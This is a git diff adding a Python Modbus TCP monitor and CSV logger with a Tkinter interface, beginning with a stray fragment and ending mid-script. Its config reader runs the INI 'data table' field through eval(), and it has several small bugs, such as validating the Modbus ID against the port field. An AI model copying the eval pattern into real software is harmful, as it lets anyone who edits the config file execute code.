print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + 